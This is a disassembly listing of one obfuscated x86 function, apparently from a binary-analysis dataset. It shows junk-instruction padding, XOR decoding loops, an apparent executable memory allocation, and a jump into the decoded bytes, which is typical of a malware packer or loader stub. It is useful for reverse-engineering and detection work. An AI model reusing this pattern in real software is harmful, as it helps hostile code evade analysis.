Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x14a6db77
add eax, edx
mov eax, edx
popal
dec edx
add edx, eax
mov edi, 0
mov ebx, ecx
dec edx
mov edx, esi
mov eax, ebx
inc esi
not esi
sub esi, 0xc500832e
mov ecx, eax
add edx, 0xeb9d5e04
or edx, edx
mov esi, edx
inc edi
sub esi, 1
add esi, 0x74523503
add edx, edx
cmp edi, 0x100cd2c
jne 0xa789bf
dec edx
mov edx, 0x8422142c
sub esi, 0xf3d572e5
mov eax, 0x9f385443
not edx
mov eax, 0xa6ee60c
mov eax, 0xa78796
sub edi, ebx
sub edi, 0x210bfa98
mov esi, 0xa7898a
not edi
inc ebx
mov ecx, dword [eax]
mov edx, ebx
mov edx, edi
and ecx, 0xff
mov edi, 0x2828e3e2
add ebx, 0xd355b8aa
xor dword [esi], ecx
add ebx, 0x54329e33
sub edi, edx
mov edx, 0xbc881f81
inc esi
or edx, ebx
sub edi, edx
dec edi
add eax, 1
inc edi
add ebx, 0xbb7059c1
sub ebx, 0xeecef598
cmp esi, entry0
jl 0xa78a23
dec edi
sub edx, ebx
not ebx
and ebx, ebx
add edx, 0xc8a9c955
not edx
mov edi, 0xa3c17a48
mov edi, ebx
mov edx, 0xa7898e
and edi, esi
and ecx, esi
or ecx, esi
mov edx, dword [edx]
add edi, 1
dec edi
mov edx, dword [edx]
or ebx, edi
mov esi, ecx
not esi
push edx
and edi, esi
sub ecx, 0x65d335e2
mov ebx, esi
mov edx, 0xa7898a
or ebx, esi
not ecx
or ebx, edi
mov edx, dword [edx]
mov edi, 0xa16d12c3
sub edi, ecx
add ecx, edi
mov edx, dword [edx]
sub ebx, 0x3f93ffc7
sub esi, 1
push 0xa78992
add edi, edi
dec edi
call edx
mov ebx, 0x75371aa3
sub esi, ecx
add edi, edi
mov edx, dword [esp]
add esp, 4
sub ebx, ecx
not edi
sub esp, 4
mov dword [esp], 0xa7899f
or ebx, ecx
mov edi, esi
push eax
not ecx
or ebx, ecx
call edx
sub esi, 0x9277ee1f
add edi, 0x4252029a
mov edi, 0x9501f8cd
push 0x40
mov esi, 0x7f2d077a
add ebx, edi
sub ebx, 1
push 0x3000
mov ecx, edi
sub esi, ebx
and esi, ecx
push 0x20000ab2
or edi, esi
or ebx, ecx
or ecx, esi
sub esp, 4
mov dword [esp], 0
not ebx
or esi, ebx
call eax
or edi, esi
not esi
mov ecx, 0x495766c
add eax, 0x20000a23
dec esi
dec ebx
and edi, ecx
mov edx, 0xde76fb5b
mov ecx, ebx
not ebx
mov dword [eax], edx
mov edi, 0xf0728784
add ecx, ebx
mov edx, dword [eax]
or ebx, ebx
or ebx, ecx
inc edi
cmp edx, 0xde76fb5b
je 0xa78b85
mov eax, 0
mov dword [eax], edx
sub edi, 0x52a29875
dec ebx
add ecx, 1
sub esi, ebx
sub eax, edx
not eax
mov edx, 0x89845997
mov edi, section..reltc
not eax
and edx, edx
mov ecx, 0xa78795
or eax, eax
sub edx, 0xbaa498b4
mov esi, 0
mov edx, 0x4b7303e0
sub edx, 1
mov ebx, 0xa78796
inc edx
sub eax, 0xde0a6f27
sub eax, 0x89da088f
lea ebx, [ebx + esi]
inc eax
inc eax
sub eax, edx
mov ebx, dword [ebx]
sub edx, eax
sub edx, 0x8c6df9d9
add edx, 0xa8d2ffad
and ebx, 0xff
add edx, 0x7c3fa3ea
and eax, edx
inc esi
or edx, eax
not eax
cmp esi, 0x1f4
jne 0xa78c0c
mov esi, 0
sub eax, 1
sub edx, eax
not eax
sub edx, 0xa74e6c82
and edx, edx
mov edx, 0x22fa5e64
xor dword [edi], ebx
add edx, eax
or eax, edx
add edi, 2
sub eax, 0x84721bcd
add eax, eax
cmp edi, ecx
jl 0xa78bc3
add eax, 0x9bac8b27
and eax, edx
or eax, eax
inc edx
and edx, edx
mov edx, section..reltc
mov eax, 0x2dc8dc90
add eax, 1
mov esi, eax
mov ecx, section..reltc
sub eax, 0x27702d65
and esi, esi
add eax, 1
mov edi, 0xa78795
mov esi, 0xaf205d38
inc eax
mov ebx, 0
dec esi
sub eax, 0x3d53be70
sub eax, 0xde0d701c
mov bl, byte [ecx]
sub esi, eax
add esi, esi
mov byte [edx], bl
mov esi, eax
add eax, 0x91c4f1ea
add edx, 1
not esi
sub esi, 0xa2925237
add ecx, 2
add eax, 0xaec0e9a0
sub esi, eax
cmp ecx, edi
jle 0xa78c8e
add eax, esi
sub eax, 0x8290d11a
add eax, eax
sub eax, 0xdf8618ab
push 0x8dc6a0
add eax, edx
dec eax
or eax, edx
ret